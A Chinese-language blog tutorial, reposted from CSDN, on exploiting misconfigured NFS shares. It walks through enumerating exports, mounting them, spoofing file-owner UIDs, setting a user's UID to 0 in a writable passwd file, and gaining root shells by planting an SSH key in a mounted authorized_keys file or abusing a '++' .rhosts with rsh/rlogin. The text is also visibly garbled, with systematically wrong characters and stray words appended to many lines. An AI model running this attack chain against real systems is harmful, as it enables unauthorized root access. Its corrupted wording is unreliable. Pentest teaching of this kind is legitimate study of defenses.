NFS(Network File System)即网络文件系统,是FreeBSD支持的文件系统中的一种,它容许网络中的计算机之间经过TCP/IP网络共享资源。在NFS的应用中,本地NFS的客户端应用能够透明地读写位于远端NFS服务器上的文件,就像访问本地文件同样。现在NFS具有了防止被利用导出文件夹的功能,但遗留系统中的NFS服务配置不当,则仍可能遭到恶意攻击者的利用。shell
发现NFS服务安全
NFS服务的默认开放端口为2049/TCP,所以咱们能够借助Nmap来针对性的进行探测。服务器
2049/tcp open nfs 2-4(RPC #100003)网络
此外,咱们也能够经过rpcinfo命令来肯定主机上是否运行或挂载了NFS服务。框架
rpcinfo -p IPssh
显示导出文件夹列表tcp
如下命令将会检索给定主机的导出文件夹列表,这些信息将被用于访问这些文件夹。工具
showmount -e IPes5
当showmount命令与如下参数一块儿使用时,能够为咱们检索到更多的信息,例如:.net
挂载点
链接的主机
目录
showmount IP // 链接的主机
showmount -d IP // 目录
showmount -a IP // 挂载点
另外,Metasploit框架中也有一个模块,能够用来列出导出文件夹。
auxiliary/scanner/nfs/nfsmount
在这里我再推荐一个实用的小工具NFS Shell,它能够链接到NFS共享并能够帮助咱们手动识别一些常见的安全问题。想要使用它咱们首先须要安装如下依赖项:
apt-get install libreadline-dev libncurses5-dev
make
gcc -g -o nfsshell mount_clnt.o mount_xdr.o nfs_prot_clnt.o nfs_prot_xdr.o nfsshell.o -L/usr/local/lib -lreadline -lhistory -lncurses
./nfsshell
使用如下命令获取导出文件夹列表:
nfs> host IP // 链接NFS服务
nfs> export // 导出NFS列表
访问NFS共享
导出的文件夹能够经过建立一个空的本地文件夹,并将共享挂载到该文件夹来访问,以下所示:
mkdir /temp/
mount -t nfs 192.168.1.172:/ /temp -o nolock
当成功验证共享挂载后,咱们能够经过如下命令来列出全部的本地磁盘信息。
df -h
此时,咱们能够像访问其余文件夹同样轻松的访问共享文件夹。
cd /temp/
ls
UID操做
若是对于共享上的文件咱们没有读取权限该怎么办?其实这也很简单,咱们能够伪造文件全部者的UID来欺骗NFS服务器。如下展现的是NFS文件访问拒绝提示:
首先,咱们经过如下命令来获取文件全部者的UID(用户ID)和GUID(组ID)。
ls -al
接着,咱们在本地建立一个新用户,并将该用户的UID和名称修改成与文件全部者相同。
useradd <user>
passwd <user>
UID能够在passwd文件中更改。
vi /etc/passwd
从挂载的文件夹执行su命令,并使用以前建立的已知密码,此时当前用户将会被切换到新用户。
su <useraccount>
因为该文件的UID与新用户的UID相同,所以系统会误认为这是文件权限的全部者,这样咱们就能够以一个合法的用户身份来读取文件的内容了。
之因此形成这种问题,缘由在于导出文件夹并未设置root_squash选项。root_squash登入NFS主机,使用该共享目录时至关于该目录的拥有者。可是若是是以root身份使用这个共享目录的时候,那么这个使用者(root)的权限将被压缩成为匿名使用者,即一般他的UID与GID都会变成nobody那个身份,以防止越权访问。
能够在如下位置启用或禁用root_squash选项:
vi /etc/exports
/home 192.168.1.47(root_squash) // Enables Root Squash
/home 192.168.1.47(no_root_squash) // Disables Root Squash
若是passwd文件具备写入权限,那么咱们能够经过将一些非特权用户的UID更改成0,使其具备根级别的访问权限。从下图中能够看到,我将service用户的UID修改成了0,此时该用户将具有root的访问权限。
经过SSH链接命令再次与目标服务器创建链接,service将获取到一个root访问权限。
shell访问
根据存储在导出文件夹中的文件,可能能够经过SSH或RSH和Rlogin来获取到shell访问权限。 咱们着重来关注如下两个文件:
authorized_keys
rhosts
这两个文件都隐藏在NFS文件夹中,咱们能够利用如下命令来肯定这些文件的存在。
ls -al
生成一个SSH密钥对并将其公钥添加到受权密钥列表中,那样咱们就能够经过NFS服务器上的SSH与其创建链接了。
cd /root/.ssh/
ssh-keygen -t rsa -b 4096
cp /root/.ssh/id_rsa.pub /temp/root/.ssh/
cat id_rsa.pub >> /temp/root/.ssh/authorized_keys
ssh -i /root/.ssh/id_rsa root@192.168.1.189
.rhosts文件用来配置哪些远程主机或用户能够访问系统上的本地账户。若是.rhosts文件的内容为++符号,则说明它容许来自网络上的任何主机和用户的链接。
cat .rhosts
++
如下命令将容许系统的root用户直接链接目标系统,系统将不会提示密码输入,由于来自系统的全部用户都将被信任。
rsh -l root IP
rlogin -l root IP
或者若是.rhosts的内容不一样,则检查文件将有助于肯定哪些主机和用户是可信的,所以能够在无需密码的状况下进行身份验证。
做者:CanMengBlog
来源:CSDN
原文:https://blog.csdn.net/weixin_... 版权声明:本文为博主原创文章,转载请附上博文连接!